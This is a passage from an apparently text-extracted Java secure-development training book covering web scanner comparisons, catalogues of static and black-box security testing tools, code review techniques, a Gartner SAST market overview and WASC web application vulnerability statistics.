Detailed ResultsThe following section reports the results of the tests. The analysis for this study wasfocused on 1)determining how well the scanners covered security sensitive sections of code within anapplicationunder test, 2) number of true vulnerability findings and 3) number of false positives. Thisstudy didnot hand vet the applications to determine if there were any false negatives beyondthose in the setdiscovered by any tool.A set of security sensitive coverage categories were selected from the result set and thepresentedin the following tables:

Page 223: Java secure development   part 1

222 | P a g e

The three applications chosen have increasing level of complexity and size. The threescanners alldid a reasonable job on the smaller, first application. The second application resulted insome falsepositives for Appscan and WebInspect.The results for the last application are notable in that both AppScan and WebInspectseverelyunderperformed NTOSpider in all three key areas of the test: 1) application coverage, 2)vulnerability findings and 3) avoidance of false positives. The fact that these results weremostevident only in the most complex of these applications may indicate that for securitygroups toadequately test scanners, they need to use more complex applications. It is notsurprising thatsmaller, less complex applications show less difference between the tools. One wouldexpect fewertrue findings and less complexity in crawling the applications.In the aggregate, NTOSpider crawled 328% more links than AppScan and 72% more linksthanWebInspect; NTOspider covered 24% more of the total APIs than AppScan and 30%more thanWebInspect. NTOSpider found 227 total vulnerabilities versus 27 for AppScan and 12 forWebInspect. None of the findings by AppScan or WebInspect were missed by NTOSpiderandAppScan missed 88% and WebInspect missed 95% of the legitimate vulnerabilities foundbyNTOSpider. NTOSpider had a 0% false positive rate. Appscan had 5 false positives and a16%false positive rate. WebInspect had 12 false positives and a 52% false positive rate.The false positive findings were of interest because some appeared to be caused bycustom 404error handling routines in the web application, and some simply were based on faultyassumptions.In addition the areas that coverage tool reported as missed were analyzed to determineif therewere any security critical sections and also to try and to determine whether it wouldactually bepossible for http based requests to access that portion of the application.ConclusionThe most surprising result is the discrepancy in the number of vulnerability findingsbetween the

Page 224: Java secure development   part 1

223 | P a g e

three tools. AppScan and WebInpsect are market share leaders in the space and theircompanieswere both recently purchased by large, sophisticated technology companies (AppScanby IBM andWebInspect by HP). While security professionals testing small, highly secure, simpleapplicationsmay achieve acceptable results from AppScan and WebInpsect, these results indicatethat theymay have some concern with relying on the results of these tools for larger applications.Therelatively large number of false positives, particularly for WebInspect, is also a matter ofsomeconcern. False positives can be difficult for all but the most experienced securityprofessional toidentify. If they are not identified, they can cause difficulties by weakening thecredibility of thesecurity team with application developers. Additionally, vetting false positives by hand,even byexperienced security professionals is a very time intensive process that will increase thecost of theprogram. While WebInspect has certain tools to reduce false positives, it would appearthat thisremedy is not necessary if using NTOSpider (and to a lesser extent AppScan). In anycase,training the tool to reduce false positives will need to be done by experienced personneland willincrease program costs.

Source Code Analysis Tools

Source Code Analysis tools are designed to analyze source code and/or compiled version of codein order to help find security flaws. Ideally, such tools would automatically find security flawswith a high degree of confidence that what is found is indeed a flaw. However, this is beyondthe state of the art for many types of application security flaws. Thus, such tools frequentlyserve as aids for an analyst to help them zero in on security relevant portions of code so theycan find flaws more efficiently, rather than a tool that simply finds flaws automatically.

Some tools are starting to move into the IDE. For the types of problems that can be detectedduring the software development phase itself, this is a powerful phase within the developmentlifecycle to employ such tools, as it provides immediate feedback to the developer on issues

Page 225: Java secure development   part 1

224 | P a g e

they might be introducing into the code during code development itself. This immediatefeedback is very useful as compared to finding vulnerabilities much later in the developmentcycle.

Strengths and Weaknesses of such tools:

Strengths Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly

builds)) For things that such tools can automatically find with high confidence, such as buffer

overflows, SQL Injection Flaws, etc. they are great.

Weaknesses

Many types of security vulnerabilities are very difficult to find automatically, such asauthentication problems, access control issues, insecure use of cryptography, etc. Thecurrent state of the art only allows such tools to automatically find a relatively smallpercentage of application security flaws. Tools of this type are getting better, however.

High numbers of false positives. Frequently can't find configuration issues, since they are not represented in the code. Difficult to 'prove' that an identified security issue is an actual vulnerability. Many of these tools have difficulty analyzing code that can't be compiled. Analysts

frequently can't compile code because they don't have the right libraries, all thecompilation instructions, all the code, etc.

Important Selection Criteria

Requirement: Must support your language, but not usually a key factor once it does. Types of Vulnerabilities it can detect (Out of the OWASP Top Ten?) (plus more?) Does it require a fully buildable set of source? Can it run against binaries instead of source? Can it be integrated into the developer's IDE? License cost for the tool. (Some are sold per user, per org, per app, per line of code

analyzed. Consulting licenses are frequently different than end user licenses.)

OWASP Tools of This Type

OWASP Orizon Project OWASP LAPSE Project

Page 226: Java secure development   part 1

225 | P a g e

OWASP O2 Platform

Open Source or Free Tools Of This Type

FindBugs - Find Bugs (including some security flaws) in Java Programs FxCop (Microsoft) - FxCop is an application that analyzes managed code assemblies

(code that targets the .NET Framework common language runtime) and reportsinformation about the assemblies, such as possible design, localization, performance,and security improvements.

PMD - PMD scans Java source code and looks for potential code problems (this is a codequality tool that does not focus on security issues)

PreFast (Microsoft) - PREfast is a static analysis tool that identifies defects in C/C++programs

RATS (Fortify) - Scans C, C++, Perl, PHP and Python source code for security problemslike buffer overflows and TOCTOU (Time Of Check, Time Of Use) race conditions

SWAAT - Simplistic Beta Tool - Languages: Java, JSP, ASP .Net, and PHP Flawfinder Flawfinder - Scans C and C++ RIPS - RIPS is a static source code analyzer for vulnerabilities in PHP web applications

Commercial Tools from OWASP Members Of This Type

These vendors have decided to support OWASP by becoming members. OWASP appreciates thesupport from these organizations, but cannot endorse any commercial products or services.

Static Source Code Analysis with CodeSecure™ (Armorize Technologies) Static Source Code Analysis with hypersource (art of defence) Source Code Analysis (HP/Fortify) Veracode (Veracode)

Other Well Known Commercial Tools Of This Type

CxSuite (Checkmarx) Prevent (Coverity) IBM Rational AppScan Developer (formerly Ounce) Insight (KlocWork) Armorize Fortify

Page 227: Java secure development   part 1

226 | P a g e

Or perhaps a free or open-source equivalent such as:

CAT.NET FindBugs Klocwork Solo Armorize demo Fotify Teamserver demo (or the Audit Workbench that comes with the book) OWASP O2 (Ounce Open)

Page 228: Java secure development   part 1

227 | P a g e

Open Source Black Box Testing tools

General Testing

OWASP WebScarab OWASP CAL9000 CAL9000 is a collection of browser-based tools that enable more effective and efficient

manual testing efforts.o Includes an XSS Attack Library, Character Encoder/Decoder, HTTP Request

Generator and Response Evaluator, Testing Checklist, Automated Attack Editorand much more.

OWASP Pantera Web Assessment Studio Project SPIKE - http://www.immunitysec.com Paros - http://www.parosproxy.org Burp Proxy - http://www.portswigger.net Achilles Proxy - http://www.mavensecurity.com/achilles Odysseus Proxy - http://www.wastelands.gen.nz/odysseus/ Webstretch Proxy - http://sourceforge.net/projects/webstretch Firefox LiveHTTPHeaders, Tamper Data and Developer Tools - http://www.mozdev.org Grendel-Scan - http://www.grendel-scan.com OWASP SWFIntruder http://www.mindedsecurity.com/swfintruder.html

Testing for specific vulnerabilities

Testing AJAX OWASP Sprajax Project

Testing for SQL Injection OWASP SQLiX Sqlninja: a SQL Server Injection & Takeover Tool -

http://sqlninja.sourceforge.net Bernardo Damele A. G.: sqlmap, automatic SQL injection tool -

http://sqlmap.sourceforge.net Absinthe 1.1 (formerly SQLSqueal) - http://www.0x90.org/releases/absinthe/ SQLInjector - http://www.databasesecurity.com/sql-injector.htm bsqlbf-1.2-th - http://www.514.es

Page 229: Java secure development   part 1

228 | P a g e

Testing Oracle TNS Listener tool (Perl) -

http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html Toad for Oracle - http://www.quest.com/toad

Testing SSL Qualys SSL Labs - https://www.ssllabs.com/ssldb/index.html G-SEC Harden TLS/SSL (beta) - http://www.g-sec.lu/sslharden/HardenSSL.zip Foundstone SSL Digger -

http://www.foundstone.com/resources/proddesc/ssldigger.htm SSL Scan 1.9.0 - http://sourceforge.net/projects/sslscan/files/ SSL Tests - v2 - http://www.pentesterscripting.com/discovery/ssl_tests

Testing for Brute Force Password THC Hydra - http://www.thc.org/thc-hydra/ John the Ripper - http://www.openwall.com/john/ Brutus - http://www.hoobie.net/brutus/ Medusa - http://www.foofus.net/~jmk/medusa/medusa.html

Testing Buffer Overflow OllyDbg - http://www.ollydbg.de

"A windows based debugger used for analyzing buffer overflowvulnerabilities"

Spike - http://www.immunitysec.com/downloads/SPIKE2.9.tgz A fuzzer framework that can be used to explore vulnerabilities and

perform length testing Brute Force Binary Tester (BFB) - http://bfbtester.sourceforge.net

A proactive binary checker Fuzzer

OWASP WSFuzzer

Googling

Foundstone Sitedigger (Google cached fault-finding) -http://www.foundstone.com/resources/proddesc/sitedigger.htm

Commercial Black Box Testing tools

Typhon - http://www.ngssoftware.com/products/internet-security/ngs-typhon.php

Page 230: Java secure development   part 1

229 | P a g e

NGSSQuirreL - http://www.ngssoftware.com/products/database-security/ Watchfire AppScan - http://www.watchfire.com Cenzic Hailstorm - http://www.cenzic.com/products_services/cenzic_hailstorm.php Burp Intruder - http://portswigger.net/intruder Acunetix Web Vulnerability Scanner - http://www.acunetix.com WebSleuth - http://www.sandsprite.com NT Objectives NTOSpider - http://www.ntobjectives.com/products/ntospider.php Fortify Pen Testing Team Tool - http://www.fortifysoftware.com/products/tester Sandsprite Web Sleuth - http://sandsprite.com/Sleuth/ MaxPatrol Security Scanner - http://www.maxpatrol.com Ecyware GreenBlue Inspector - http://www.ecyware.com Parasoft WebKing (more QA-type tool) MatriXay - http://www.dbappsecurity.com N-Stalker Web Application Security Scanner - http://www.nstalker.com

Source Code Analyzers

Open Source / Freeware

Owasp Orizon OWASP LAPSE OWASP O2 Platform PMD - http://pmd.sourceforge.net/ FlawFinder - http://www.dwheeler.com/flawfinder Microsoft’s FxCop Splint - http://splint.org Boon - http://www.cs.berkeley.edu/~daw/boon FindBugs - http://findbugs.sourceforge.net

Page 231: Java secure development   part 1

230 | P a g e

Commercial

Armorize CodeSecure - http://www.armorize.com/index.php?link_id=codesecure CodeWizard - http://www.parasoft.com/products/wizard Checkmarx CxSuite - http://www.checkmarx.com Fortify - http://www.fortifysoftware.com GrammaTech - http://www.grammatech.com ITS4 - http://www.cigital.com/its4 Ounce labs Prexis - http://www.ouncelabs.com ParaSoft - http://www.parasoft.com Virtual Forge CodeProfiler for ABAP - http://www.virtualforge.de Veracode - http://www.veracode.com

Acceptance Testing Tools

Acceptance testing tools are used to validate the functionality of web applications. Some followa scripted approach and typically make use of a Unit Testing framework to construct test suitesand test cases. Most, if not all, can be adapted to perform security specific tests in addition tofunctional tests.

Open Source Tools

Page 232: Java secure development   part 1

231 | P a g e

WATIR - http://wtr.rubyforge.org A Ruby based web testing framework that provides an interface into Internet

Explorer. Windows only.

HtmlUnit - http://htmlunit.sourceforge.net A Java and JUnit based framework that uses the Apache HttpClient as the

transport. Very robust and configurable and is used as the engine for a number of other

testing tools. jWebUnit - http://jwebunit.sourceforge.net

A Java based meta-framework that uses htmlunit or selenium as the testingengine.

Canoo Webtest - http://webtest.canoo.com An XML based testing tool that provides a facade on top of htmlunit. No coding is necessary as the tests are completely specified in XML. There is the option of scripting some elements in Groovy if XML does not

suffice. Very actively maintained.

HttpUnit - http://httpunit.sourceforge.net One of the first web testing frameworks, suffers from using the native JDK

provided HTTP transport, which can be a bit limiting for security testing. Watij - http://watij.com

A Java implementation of WATIR. Windows only because it uses IE for its tests (Mozilla integration is in the works).

Solex - http://solex.sourceforge.net An Eclipse plugin that provides a graphical tool to record HTTP sessions and

make assertions based on the results. Selenium - http://www.openqa.org/selenium/

JavaScript based testing framework, cross-platform and provides a GUI forcreating tests.

Mature and popular tool, but the use of JavaScript could hamper certainsecurity tests.

Other Tools

Runtime Analysis

Rational PurifyPlus - http://www-306.ibm.com/software/awdtools

Binary Analysis

Page 233: Java secure development   part 1

232 | P a g e

BugScam - http://sourceforge.net/projects/bugscam BugScan - http://www.hbgary.com Veracode - http://www.veracode.com

Requirements Management

Rational Requisite Pro - http://www-306.ibm.com/software/awdtools/reqpro

Site Mirroring

wget -http://www.gnu.org/software/wget, http://www.interlog.com/~tcharron/wgetwin.htm

l curl - http://curl.haxx.se Sam Spade - http://www.samspade.org Xenu - http://home.snafu.de/tilman/xenulink.html

Code Review Techniques

Automatic source code scan: Text matching in source code Token matching Abstract syntax tree analysis Input/output path analysis Complexity analysis Statistical analysis Do most automatic code scan findings relate to how data is handled in the application,

and not so much to the actual behavior and its consequences?

Manual code review

Look for specific signs ( text matching) Attack surface discovery Input/output path analysis Component usage and configuration analysis Authorization logic validation Custom security constraints, e.g. approval procedures Privacy issues Architecture analysis

Page 234: Java secure development   part 1

233 | P a g e

Automatic vs. Manual

Manual review by an expert gives Probably less false negatives Certainly less false positives Insight also concerning design and architecture, overall quality etc… OTOH, automatic review is Faster Broader Repeatable

Interpreting automatic analysis results

Every security verification needs conclusions of results Is security expertise needed? Assessing true positives (real findings) Determining false positives (false alerts) Estimating false negatives (undiscovered vulnerabilities) Making sure scanning configuration is correct Can we get good suggestions on how to remedy vulnerabilities automatically?

Enterprise Code Vulnerability Management

Cigital’s Enterprise Security Portal (ESP)

Cigital’s Enterprise Security Portal (ESP) - Cigital's platform that helps customers deploy large enterprise static analysissolutions while supporting security workflow end-to-end by managing submission, analysis, and reporting. ESP workswith most code analysis tools and guides developers effortlessly through submitting all required material. It facilitatesreviewer understanding of an application and focuses analysis, handling tedious tasks automatically. It also collatestools' results with the reviewer's, and generates reports without cut-and-paste pain.

Page 235: Java secure development   part 1

234 | P a g e

Features and Benefits:

Submissions Portal

A single interface for importing source code – streamlining the interaction between development teams andreviewers. By checking for omissions and completeness, the portal ensures submitted code is ready forreview, complete to start analysis and provides feedback to developers, eliminating the back-and-forth ittypically takes to get reviewable code into the hands of analysts

Analysis – Getting Deeper Results

Customized configuration of tools based on ESPTM Robots and tuning that provides the most completeresults faster while improving accuracy

Easy configuration of analysis engines and results views—keep your core competency in applications andleverage our core competency in technology

Page 236: Java secure development   part 1

235 | P a g e

Reporting

Generate reports in Microsoft Word, OpenXML, and XHTML—get data into defect tracking, scrums, anddashboards quickly and easily

Ability to merge findings from multiple tools, such as Fortify, AppScan Source or AppScan Standard—easilydouble-check questionable results, leverage investments made in various groups, and quickly aggregateindependent pockets of activity

It takes good preparation to make things simple. When you make a process simpler, you save time, improve quality,and reduce cost. Cigital’s ESP is a flexible framework that makes static and dynamic tools truly effective providing anew approach to a perennial problem—we took something truly difficult to get right and made it practical foreveryone to do.

Page 237: Java secure development   part 1

236 | P a g e

Web Application

Gartnet Magic Quadrant

Market Overview

This is the first Magic Quadrant for the SAST market. The SAST market leaders are smaller,innovative, security-focused vendors (Fortify Software and Ounce Labs) that provide staticsecurity testing tools as their primary offerings. Both of these vendors offer broad languagesupport and integration into a variety of software life cycle (SLC) platforms.

However, the majority of SLC platform vendors will recognize the need to add security testingcapabilities to their platforms and perform this integration over the next several years. Most ofthe large SLC vendors (for example, HP and IBM) have taken steps in that direction (Microsofthas some basic capabilities). Yet, in all these cases, the offerings fall short of the breadth ofcoverage options available from dedicated point-solution vendors.

Also challenging the market leaders are SLC vendors that focus on overall application qualitytesting tools, where security is treated as one aspect of application quality (for example,Coverity, Klocwork, Parasoft and Compuware). These vendors are able to sell security testingcapabilities to their installed base, typically to the same development teams that wereinterested in application quality. The notion of application “resilience” and “robustness” spansquality and security issues. For some customers already using these tools, working with thesevendors becomes an easy and pragmatic way to add security testing to their environments.

The market for SAST will experience significant changes:• Commoditizationofsomecapabilities• Consolidationoffeaturesandproducts• Deliveryoftestingasaservice• IntegrationofSASTatlittleornocostinto

SLC platformsEnterprises considering SAST should expect ongoing market and product consolidation, as wellas downward pricing pressures during the next 24 months. The difficult economic conditions of2009 (that are likely to extend into 2010) will place tremendous pressure on smaller vendors ofSAST point solutions. As with any contract negotiation, organizations are advised to includeappropriate protection clauses in their contracts in the event of a vendor merger, acquisition orfailure. We recommend contract terms of no longer than 24 months.

Page 238: Java secure development   part 1

237 | P a g e

Delivering security testing as a service is a growing area of interest for Gartner clients as a wayto reduce upfront costs and to augment limited internal resources. Indeed, one of the vendors,Veracode, offers SAST capabilities only as a service. Testing as a service will have a significantimpact on the application security market. During the next 18 months, most application securitytesting vendors will offer their SAST, as well as dynamic application security testing (DAST),solutions optionally or exclusively as a service. Increasingly, we hear from organizations thatprefer to use a product and a service from the SAST vendor. For example, they test criticalapplications but use services to augment the testing for less-critical applications, or they startwith services and then make the transition to a product as their staff gains experience.

Another significant trend is the ability of SAST solutions to scan applications where the sourcecode is unavailable. At a minimum, SAST solutions that scan Java and .NET code should be ableto scan the byte code representations of the actual source code. This capability isstraightforward and should be required in any vendor’s offering that scans Java and .NETapplications. Veracode is the only vendor that has delivered the capability to scan executablecode in its binary format. This is an important area, especially in software architectures wherecalls are made to programs — such as packaged applications, services subscribed to over theInternet and dynamic link libraries — whose source code is unavailable for security testing, butfor which binaries are available. With this approach, users must analyze the code in its compiledstate so challengers leaders niche players visionaries completeness of vision As of February2009:

Fortify Software Ounce Labs HP IBM Veracode Compuware Microsoft Kloowork Parasoft Coverity

Page 239: Java secure development   part 1

238 | P a g e

Ability to execute:

Figure 1. Magic Quadrant for Static Application Security TestingSource: Gartner

That any externally included library- or platform-specific problems can be identified. Thus, thiscapability is useful even when source code is available. The SAST market risks disappearing as astand-alone market during the next five to seven years as the major SLC platform providerssupply SAST technologies or acquire SAST startup vendors. The proper place for applicationsecurity testing is in the SLC process. Most organizations will consume SAST via securitytesting capabilities integrated with SLC platforms, especially if SAST capabilities are includedwith the SLC platform at little or no additional perceived cost.Magic Quadrant Overview

Page 240: Java secure development   part 1

239 | P a g e

Two vendors are in the Leaders quadrant:• Fortify has a broader vision and greater ability to execute than Ounce Labs. To keep its

leadership and remain independent, Fortify should acquire or build in-depth DASTcapabilities in addition to its SAST offering, and also become a full-fledged testing-as-a-service provider. An alternative is for the vendor to be acquired by a large SLC platformvendor, preferably a leader in DAST, to combine leadership in SAST and DAST in onevendor offering.

• Ounce Labs could streng then its position by adding DAST capabilities, partnerships andexpanded testing-as-a-service offerings. An alternative is for the vendor to be acquiredby a large SLC platform vendor, preferably a leader in DAST, to combine leadership inSAST and DAST in one vendor offering. Considering that it is positioned lower thanFortify in vision and execution, Ounce Labs should act faster and more decisively than itis doing now.

Several vendors are grouped closely around the center of the Magic Quadrant. They have thepotential to move into other quadrants and, most importantly, into the Leaders quadrant. Torealize that potential:

• HP and IBM should substantially increase SAST capabilities to fulfill their leadershipambitions in the overall application security space. Each vendor’s vision and execution inSAST should increase substantially to match its leadership in the DAST market (whichwas made through acquisitions). Currently, they are lagging behind the SAST marketleaders in vision and execution. That gap should be bridged by acquisitions (a fastapproach) or internal technology development (a longer approach). Both vendorsshould develop SAST testing-as-a-service offerings that leverage their worldwidepresence — HP with the acquisition of EDS, and IBM with its Global Servicesorganization.

• Veracode should modify/enhance some aspects of its vision to attract more clients —for example, by providing a version of its technology for organizations that want toperform testing

• themselves. Veracode should invest maximum efforts to improve its executioncapabilities and do it rapidly, considering its smaller size and emerging competition fromlarger vendors.

• Coverity and Klocwork should consider making security analysis (rather than qualityanalysis) their strategic objective; focus on expanding their capabilities that address theneeds of mainstream enterprises, in addition to specialized software and hardwarevendors; and grow their security revenue. Also, each vendor should develop DASTcapabilities and strengthen the appeal of its offerings outside its installed base.

• Parasoft should grow awareness and strengthen the application-security reputationamong its enterprise prospects, develop broader security testing capabilities with

Page 241: Java secure development   part 1

240 | P a g e

offerings and packaging that appeal to all enterprises, reach beyond its installed base,and expedite the rate of growth to match startup vendors, such as Fortify and Coverity.

Page 242: Java secure development   part 1

241 | P a g e

WASC Web App Security Statistics

Summary

The statistics includes data about 12186 web applications with 97554 detected vulnerabilities ofdifferent risk levels. The analysis shows that more than 13%* of all reviewed sites can becompromised completely automatically. About 49% of web applications contain vulnerabilitiesof high risk level (Urgent and Critical) detected during automatic scanning (T. 1). However,detailed manual and automated assessment by white box method allows to detect these highrisk level vulnerabilities with probability up to 80-96%. The probability to detect vulnerabilitieswith risk level more than medium (PCI DSS compliance level) is more than 86% by any method.At the same time, detailed analysis shows that 99% of web applications are not compliant withPCI DSS standard (T. 6, P. 13).* Web applications with Brute Force Attack, Buffer Overflow, OS Commanding, Path Traversal,Remote File Inclusion, SSI Injection, Session Fixation, SQL Injection, Insufficient Authentication,Insufficient Authorization vulnerabilities detected by automatic scanning.The following conclusions can be drawn based on the analysis:

The most wide spread vulnerabilities are Cross-site Scripting, different types ofInformation Leakage, SQL Injection, HTTP Response Splitting;

The probability to detect a urgent or critical error in dynamic web application is about49% by automatic scanning and 96% by comprehensive expert analysis (white boxmethod);

Administration issues are 20% more frequent cause of a vulnerability than systemdevelopment errors;

99% of web application are not compliant with PCI DSS standard requirements, and 48%of web applications are not compliant with criteria of ASV scanning by PCI DSS;

Detailed white box method analysis allows to detect up to 91 vulnerabilities per webapplication, while automatic scanning – only 3;

Compared to 2007, the number of sites with wide spread SQL Injection and Cross-siteScripting vulnerabilities fell by 13% and 20%, respectively, however, the number of siteswith different types of Information Leakage rose by 24%. On the other hand, theprobability to compromise a host automatically rose from 7 to 13 %.

Page 243: Java secure development   part 1

242 | P a g e

Data analysis

General analysis

T. 1 and P. 1 show the probability to detect vulnerabilities of different risk levels detected during audits

and automatic scanning.

Thus, automatic scanning detected up to 86% sites with one or some vulnerabilities of medium (or higher)

risk level (Urgent-High). Black box and white box analysis methods increase it to 92-98%, respectively.

These results are greatly depend on the fact that detailed risk assessment analysis is more adequate and

consider not only vulnerability type but its exploitation consequences and application design and

implementation. Another important fact is that automatic scanning was made for hosting provider sites

which in some cases have no active content, while security assessment is usually done for application with

complicated business logic. That is that automatic scanning results can be interpret as typical Internet site

scanning results, while black box and white box methods results are scanning results of interactive

corporate web applications.

P. 1 The probability to detect vulnerabilities of different risk levels

T. 1 The probability to detect vulnerabilities of different risk levels classes

Page 244: Java secure development   part 1

243 | P a g e

ALL Scans BlackBox WhiteBox

Urgent 18.77% 16.70% 19.69% 50.00%

Critical 45.22% 39.25% 74.76% 92.00%

High 72.27% 73.09% 58.51% 62.00%

Medium 36.56% 40.19% 12.05% 24.00%

Low 29.69% 34.45% 0.10% 4.00%

U+C 55.50% 49.40% 79.73% 96.00%

U+C+H 87.66% 86.30% 95.66% 98.84%

The most widespread vulnerabilities are Cross-Site Scripting, Information Leakage, SQL Injection,

Insufficient Transport Layer Protection, Fingerprinting и HTTP Response Splitting (P. 2). As a rule, Cross-

Site Scripting, SQL Injection and HTTP Response Splitting vulnerabilities are caused by design errors, while

Information Leakage, Insufficient Transport Layer Protection and Fingerprinting are often caused by

insufficient administration (e.g., access control).

P. 2 The most widespread vulnerabilities in web applications (% Vulns ALL)

Page 245: Java secure development   part 1

244 | P a g e

P. 3 The probability to detect the most widespread vulnerabilities in web applications (% Sites ALL)

P. 4 Percent of vulnerabilities out of total number of vulnerabilities (% Vulns ALL)

Page 246: Java secure development   part 1

245 | P a g e

If we consider vulnerability origin as a whole (according to classification in Appendix 2) we’ll see that

vulnerabilities caused by insufficient administration are 20% more frequent (P. 5). At the same time, there

are up to 4 issues per site caused by administration flaws and up to 8 vulnerabilities caused by design

errors (T. 2).

T. 2 The probability to detect vulnerabilities depending on vulnerability origin

No. of Vulns No. of Sites % Vulns % Sites No. Vulns on Site

Vulnerability in administration 41859 10347 42.91% 84.91% 4.05

Vulnerability in code 55695 7023 57.09% 57.63% 7.93

Less than 60% of vulnerabilities are incode